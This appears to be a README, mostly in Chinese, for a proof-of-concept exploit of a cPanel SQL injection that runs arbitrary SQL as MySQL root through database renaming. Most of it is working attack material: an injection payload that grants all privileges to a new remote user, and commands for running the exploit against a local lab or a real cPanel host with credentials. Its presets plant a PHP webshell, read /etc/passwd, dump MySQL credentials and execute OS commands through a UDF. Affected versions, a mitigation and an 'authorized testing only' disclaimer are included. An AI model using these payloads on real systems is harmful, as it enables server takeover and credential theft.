CVSS 4.0: 9.4(严重) | CWE-89: SQL 注入 | NVD
已认证的 cPanel 用户 → 通过数据库重命名,以 MySQL root 身份执行任意 SQL。
cPanel 在以 root 身份执行重命名操作时,不当保留了用户的会话 sql_mode(ANSI_QUOTES)——数据库名中的反引号可逃逸出标识符并注入 SQL。
name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; --
pip install -r requirements.txt
python3 simulate.py start # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop
实验模式为自动检测——无需 --lab 参数。
python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
--payload admin-user --verify
自定义 SQL:--inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"
# 1. Write shell to web root
python3 poc.py -t http://localhost:18080 --mysql-port 13306 \
--payload webshell --shell /var/www/html/shell.php
# 2. Execute commands via HTTP!
curl "http://localhost:18081/shell.php?0=id"
cPanel < 11.110.0.137, 11.118.0.71, 11.126.0.78, 11.134.0.48, 11.136.0.32; WP Squared < 11.138.1.6
**缓解措施:**升级,或撤销 cPanel 用户的 MySQL 功能。
仅供授权的安全测试与教育使用。
| 预设 | 效果 |
|---|
admin-user(默认) | 创建 MySQL 管理员用户 rce |
compact-admin | 短管理员 Payload(<64 字符——符合真实 cPanel 的名称限制;验证:r/p) |
webshell | 通过 INTO OUTFILE 写入 PHP shell(--shell /var/www/html/shell.php) |
read-file | 通过 LOAD_FILE 读取服务器文件(--file /etc/passwd) |
dump-users | 将所有 MySQL 凭据导出至 pwn.users |
udf-rce | 通过 UDF 执行操作系统命令 |